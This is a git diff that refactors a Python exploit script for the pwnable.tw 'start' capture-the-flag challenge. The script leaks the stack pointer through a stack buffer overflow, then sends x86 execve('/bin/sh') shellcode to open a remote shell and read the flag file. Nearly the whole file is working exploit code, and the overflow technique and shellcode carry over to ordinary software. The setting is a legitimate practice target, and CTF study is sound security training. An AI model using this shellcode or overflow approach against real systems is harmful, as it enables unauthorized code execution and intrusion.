Challenge 1 tidy up

challenges/1/hack.py

@@ -1,49 +1,57 @@
+"""
+pwnable.tw challenge 1
+"""
 import socket
 import binascii
 import struct
 
-def opcodify(hexstr):
-    return struct.pack('<I', hexstr)
+# The original code only uses the first 20 characters of input
+__PAD__ = 20
 
 
-sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+def shellcode():
+    """Function to return bytecode for launching a shell"""
+    code = binascii.unhexlify('31C0')        # xor eax,eax
+    code += binascii.unhexlify('50')         # push eax
+    code += binascii.unhexlify('682F2F7368') # push dword 0x68732f2f
+    code += binascii.unhexlify('682F62696E') # push dword 0x6e69622f
+    code += binascii.unhexlify('89E3')       # mov ebx,esp
+    code += binascii.unhexlify('50')         # push eax
+    code += binascii.unhexlify('53')         # push ebx
+    code += binascii.unhexlify('89E1')       # mov ecx,esp
+    code += binascii.unhexlify('B00B')       # mov al,0xb
+    code += binascii.unhexlify('31D2')       # xor edx,edx
+    code += binascii.unhexlify('CD80')       # int 0x80
+    return code
 
-sock.connect(('chall.pwnable.tw', 10000))
-# sock.connect(('localhost', 5000))
-print('{}'.format(sock.recv(4096)))
 
-print('Fetching ESP')
+def main():
+    """Main function for launching the attack"""
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
-buff = b'hack' * 5           # 20 chars
-buff += opcodify(0x08048087)
-print('Sending: {}'.format(buff))
-sock.send(buff)
+    sock.connect(('chall.pwnable.tw', 10000))
+    _ = sock.recv(4096)
 
-outp = sock.recv(4096)
-esp, = struct.unpack('<I', outp[:4])
-print('ESP: {}'.format(hex(esp)))
+    # print('Fetching ESP')
+    buff = b'\0' * __PAD__
+    buff += struct.pack('<I', 0x08048087)
+    sock.send(buff)
 
-print('Launching shell')
-buff = b'hack' * 5
-buff += opcodify(esp+20)
-buff += binascii.unhexlify('31C0')       # xor eax,eax
-buff += binascii.unhexlify('50')         # push eax
-buff += binascii.unhexlify('682F2F7368') # push dword 0x68732f2f
-buff += binascii.unhexlify('682F62696E') # push dword 0x6e69622f
-buff += binascii.unhexlify('89E3')       # mov ebx,esp
-buff += binascii.unhexlify('50')         # push eax
-buff += binascii.unhexlify('53')         # push ebx
-buff += binascii.unhexlify('89E1')       # mov ecx,esp
-buff += binascii.unhexlify('B00B')       # mov al,0xb
-buff += binascii.unhexlify('31D2')       # xor edx,edx
-buff += binascii.unhexlify('CD80')       # int 0x80
+    esp, = struct.unpack('<I', sock.recv(4096)[:4])
 
-print('Sending: {}'.format(buff))
-sock.send(buff)
+    # print('Leaked ESP: {}'.format(hex(esp)))
 
-print('Fetching CTF flag')
+    # print('Launching shell')
+    buff = b'\0' * __PAD__
+    buff += struct.pack('<I', esp+__PAD__)
+    buff += shellcode()
+    sock.send(buff)
 
-sock.send(b'cat /home/start/flag\n')
-print(sock.recv(4096).decode())
+    # print('Fetching CTF flag')
+    sock.send(b'cat /home/start/flag\n')
+    print(sock.recv(4096).decode())
 
-sock.close()
+    sock.close()
+
+if __name__ == '__main__':
+    main()